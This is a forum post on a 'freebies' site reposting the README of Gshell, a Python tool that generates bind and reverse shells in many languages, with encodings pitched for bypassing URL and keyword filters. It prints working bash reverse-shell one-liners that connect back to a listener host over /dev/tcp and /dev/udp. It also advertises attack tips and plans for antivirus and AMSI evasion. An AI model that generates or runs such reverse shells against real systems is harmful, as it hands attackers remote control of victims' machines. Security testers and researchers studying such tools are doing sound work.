# Gshell | A Flexible And Scalable Cross-Plaform Shell Generator Tool **URL:** \ **Category:** Tools & Scripts\ **Tags:** tools, programming, freebies\ **Created:** [June 15, 2022, 9:18pm UTC](https://onehack.st/t/gshell-a-flexible-and-scalable-cross-plaform-shell-generator-tool/219889 "2022-06-15T21:18:10Z")\ **Posts on this page:** 1\ **Page:** 1
**Author:** ![PlayBoy83](https://onehack.st/user_avatar/onehack.st/playboy83/32/164314_2.png) [@PlayBoy83](https://onehack.st/u/PlayBoy83)\ **Post date:** [June 15, 2022, 9:18pm UTC](https://onehack.st/t/gshell-a-flexible-and-scalable-cross-plaform-shell-generator-tool/219889/1 "2022-06-15T21:18:10Z")
![image](https://onehack.st/uploads/default/original/3X/8/3/8305b26fc63c46d9625d6f39f9e8c00a54fd688a.png) # Introduction [![made-with-python](https://camo.githubusercontent.com/b8460784ae31f4da2911e8b9b036075248a9f65b08579aeeb212e469ad1c5e7c/687474703a2f2f666f7274686562616467652e636f6d2f696d616765732f6261646765732f6d6164652d776974682d707974686f6e2e737667)](https://www.python.org/) [![built-with-love](https://camo.githubusercontent.com/7998890254268d8ed476c9f66d3fa59d21dd354d2090036083c82af4cda2a0eb/68747470733a2f2f666f7274686562616467652e636f6d2f696d616765732f6261646765732f6275696c742d776974682d6c6f76652e737667)](https://forthebadge.com/) A simple yet flexible cross-platform shell generator tool. Name: G(Great) Shell Description: A cross-platform shell generator tool that lets you generate whichever shell you want, in any system you want, giving you full control and automation. **If you find this tool helpful, then please give me a ⭐ as it tells me that I should add more features to it.** Is cross-platform, you can use it in operating systems such as: - Unix-based systems - GNU/Linux - Windows - macOS Generates the following shells: - Bind Shells: The target has a listening port and we connect to the target. - Reverse Shells: We have a listening port and the target connects to us. Supports the following encodings (as of now): - URL Encoding: Bypass URL filters - Base64/32/16 Encodings: Bypass string/keyword filters - PowerShell Base64 Encoding Supports the follow IP versions: - IPv4 - IPv6 Supported protocols: - TCP - UDP - ICMP **Note: You can add your own shells that use other protocols such as DNS**. Supports the following languages and tools: - PowerShell - Python - Bash - Sh - Perl - Socat - Netcat - Nc - Awk - Lua - NodeJS - OpenSSL - PHP - Ruby - Telnet - Golang - C# - Dart - Groovy - Many more… **It is limitless, feel free to add as many as you desire!** **The shells are stored in markdown files as it makes it easy for everyone.** You can add more bind shells by adding markdown code blocks the following file: shells/bind\_shells.md You can also add more reverse shells by adding markdown code blocks the following file: shells/reverse\_shells.md These can be one-liners and multi-liners, it doesn’t matter. You can even add C# multi-liners code blocks if you want. Example, replace the IP address and the port placeholders or variables values with these placeholders in your code: $ip, $port That’s it, now you can add more. > Note: It also offers advice and tips for performing and troubleshooting attacks. # Overview This is the help menu: ❯ python3 gshell.py --help usage: gshell.py [-i] [-p] [-s] [-r] [-b] [–base64] [–base32] [–base16] [–url] [–no-block] [–debug] [-l] [-a] [-h] ██████ ███████ ██ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ███ ███████ ███████ █████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ███████ ██ ██ ███████ ███████ ███████ Generate bind shells and/or reverse shells with style Version: 1.0 Author: nozerobit Twitter: @nozerobit Options: -i , --ip Specify the IP address -p , --port Specify the port number -s , --shell Specify a shell type (python, nc, bash, etc) Payload Types: -r, --reverse Victim communicates back to the attacking machine -b, --bind Open up a listener on the victim machine Encoding Options: --base64 Add base64 encoding --base32 Add base32 encoding --base16 Add base16 encoding --url Add URL encoding Markdown Options: --no-block Skip `code blocks` while parsing Help Options: -l, --list List the available shell types -a, --advice Print advice and tips to get connections -h, --help Show this help message and exit Example, generate bash reverse shells: ❯ python3 gshell.py -i 192.168.145.134 -p 444 -r -s bash [+] The IPv4 address: 192.168.145.134 is valid. [+] The port number: 444 is valid. [+] Shell type is valid [+] Preparing reverse shells [+] Generating bash shells bash -i \>& /dev/tcp/192.168.145.134/444 0\>&1 0\<&196;exec 196\<\>/dev/tcp/192.168.145.134/444; sh \<&196 \>&196 2\>&196 /bin/bash -l \> /dev/tcp/192.168.145.134/444 0\<&1 2\>&1 bash -i \>& /dev/tcp/192.168.145.134/444 0\>&1 bash -i \>& /dev/udp/192.168.145.134/444 0\>&1 # Installation in Linux Clone or download the repository: git clone [https://github.com/nozerobit/gshell](https://github.com/nozerobit/gshell) Install the requirements: python3 -m pip install -r gshell/requirements.txt Add the tool to the `$PATH` environment variable: sudo ln -s $(pwd)/gshell/gshell.py /usr/local/bin/gshell.py && chmod +x /usr/local/bin/gshell.py Execute the tool: gshell.py # Installation in Windows Clone or download the repository: git clone [https://github.com/nozerobit/gshell](https://github.com/nozerobit/gshell) C:\Tools > Note: I created a directory named `Tools` in the `C:\` root directory. You can create this directory with the command `md C:\Tools`. Install chocolatey with CMD as Administrator: @powershell -NoProfile -ExecutionPolicy Bypass -Command “iex ((new-object net.webclient).DownloadString(‘[https://chocolatey.org/install.ps1](https://chocolatey.org/install.ps1)’))” && SET PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin Install python3 in Windows: choco install -y python3 Install pip: python -m pip install --upgrade pip Install the requirements: python -m pip install -r gshell/requirements.txt > Note: You can change the directory if you want, just make sure that it contains the `gshell` project folder. Change to the project directory: cd C:\Tools Execute the tool: python gshell.py # Contact & Contributing If you find any issues then you can open an issue, contact me on [twitter](https://twitter.com/nozerobit) or [discord (preferred)](https://discord.gg/jChyJgGs7Z). If you want to contribute then please feel free. Any feedback is appreciated. # ToDo For the version 2.0 which should have the following: 1. Encryptors: To bypass AVs 2. Obfuscators: To bypass AVs 3. Anti-AMSI: To bypass AMSI 4. Shellcode Generator: For shellcode runners, binary explitation, etc. ## GitHub: [https://github.com/nozerobit/gshell](https://github.com/nozerobit/gshell)